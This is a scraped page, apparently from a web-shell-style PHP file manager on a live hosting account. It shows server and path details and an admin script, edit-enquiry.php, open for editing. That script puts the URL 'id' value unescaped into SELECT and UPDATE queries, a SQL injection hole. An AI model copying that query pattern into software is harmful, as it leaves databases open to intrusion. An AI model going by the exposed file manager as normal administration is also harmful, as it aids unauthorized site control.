Enhanced PHP File Manager

⬆️ Go Up (..)

📊 Server Information

Server:

LiteSpeed

System:

Linux 5.14.0-503.34.1.el9_5.x86_64

PHP Version:

8.2.30

User:

u329947844

Directory:

/home/u329947844/domains/hifi11.in/public_html/ems/developer

Free Space:

10.28 TB

🔧 Quick Actions

✏️ Editing: edit-enquiry.php

<?php
include('config/db.php');

// Initialize variables for form input
$project_name = $client_name = $contact = $location = $project_brief = $developer = $category = "";

// Get the enquiry ID from the URL
if (isset($_GET['id'])) {
    $enquiry_id = $_GET['id'];

// Fetch existing enquiry data
    $query = "SELECT * FROM enquiries WHERE id = $enquiry_id";
    $result = mysqli_query($conn, $query);
    if ($result && mysqli_num_rows($result) > 0) {
        $row = mysqli_fetch_assoc($result);
        $project_name = $row['project_name'];
        $client_name = $row['client_name'];
        $contact = $row['contact'];
        $location = $row['location'];
        $project_brief = $row['project_brief'];
        $developer = $row['developer'];
       
    } else {
        $error_message = "Enquiry not found!";
    }
} else {
    $error_message = "Invalid Enquiry ID!";
}

// Check if the form is submitted
if ($_SERVER["REQUEST_METHOD"] == "POST") {
    // Get the form data
    $project_name = mysqli_real_escape_string($conn, $_POST['project_name']);
    $client_name = mysqli_real_escape_string($conn, $_POST['client_name']);
    $contact = mysqli_real_escape_string($conn, $_POST['contact']);
    $location = mysqli_real_escape_string($conn, $_POST['location']);
    $project_brief = mysqli_real_escape_string($conn, $_POST['project_brief']);

$category = mysqli_real_escape_string($conn, $_POST['category']);

// Update the data in the enquiries table
    $update_query = "UPDATE enquiries SET 
                        project_name = '$project_name', 
                        client_name = '$client_name', 
                        contact = '$contact', 
                        location = '$location', 
                        project_brief = '$project_brief', 
                       
                        category = '$category' 
                    WHERE id = $enquiry_id";

if (mysqli_query($conn, $update_query)) {
        // Redirect to the enquiries page after successful update
        header("Location: enquiries.php?status=updated");
        exit;
    } else {
        $error_message = "Error: " . mysqli_error($conn);
    }
}
?>

<!doctype html>
<html lang="en">

<head>
    <title>Admin | Edit Enquiry</title>
    <?php include('links/head.php'); ?>
</head>

<h2 class="card-title mb-4">Edit Enquiry</h2>

<?php
                                    // Display error message if any
                                    if (isset($error_message)) {
                                        echo "<div class='alert alert-danger'>$error_message</div>";
                                    }
                                    ?>

<form method="POST" action="">
                                        <div class="row">
                                            
                                            <div class="col-md-6 form-group">
                                                <label for="project_name">Project Name</label>
                                                <input type="text" name="project_name" id="project_name" class="form-control" value="<?php echo htmlspecialchars($project_name); ?>" required>
                                            </div>

<div class="col-md-6 form-group">
                                                <label for="client_name">Client Name</label>
                                                <input type="text" name="client_name" id="client_name" class="form-control" value="<?php echo htmlspecialchars($client_name); ?>" required>
                                            </div>
                                        </div>

<div class="row">
                                            
                                            <div class="col-md-6 form-group">
                                                <label for="contact">Contact</label>
                                                <input type="text" name="contact" id="contact" class="form-control" value="<?php echo htmlspecialchars($contact); ?>" required>
                                            </div>

<div class="col-md-6 form-group">
                                                <label for="location">Location</label>
                                                <input type="text" name="location" id="location" class="form-control" value="<?php echo htmlspecialchars($location); ?>" required>
                                            </div>
                                        </div>

<div class="row">
                                            
                                            <div class="col-12 form-group">
                                                <label for="project_brief">Project Brief</label>
                                                <textarea name="project_brief" id="project_brief" class="form-control" rows="4" required><?php echo htmlspecialchars($project_brief); ?></textarea>
                                            </div>
                                        </div>

<div class="row">
                                            
                                            <div class="col-md-6 form-group">
                                                <label for="category">Category</label>
                                                <select name="category" id="category" class="form-control" required>
                                                    <option value="" disabled>Select a Category</option>
                                                    <option value="Web Development" <?php echo ($category == 'Web Development') ? 'selected' : ''; ?>>Web Development</option>
                                                    <option value="Custom Software" <?php echo ($category == 'Custom Software') ? 'selected' : ''; ?>>Custom Software</option>
                                                    <option value="Digital Marketing" <?php echo ($category == 'Digital Marketing') ? 'selected' : ''; ?>>Digital Marketing</option>
                                                    <option value="Others" <?php echo ($category == 'Others') ? 'selected' : ''; ?>>Others</option>
                                                </select>
                                            </div>

</div>

<div class="form-group mt-3">
                                            <button type="submit" class="btn btn-success">Update</button>
                                            <a href="enquiries.php" class="btn btn-danger">Cancel</a>
                                        </div>
                                    </form>

</div>
                            </div>
                        </div>
                    </div>

</div> 
            </div>

<?php include('includes/footer.php'); ?>
        </div>
    </div>

<?php include('includes/rightbar.php'); ?>
    <div class="rightbar-overlay"></div>
    <?php include('links/scripts.php'); ?>
</body>

</html>

❌ Cancel

🗂️ Enhanced PHP File Manager

📊 Server Information

🔧 Quick Actions

✏️ Editing: edit-enquiry.php

📤 Upload File

📁 Create Folder

📄 Create File

✏️ Rename Item

🗑️ Delete Confirmation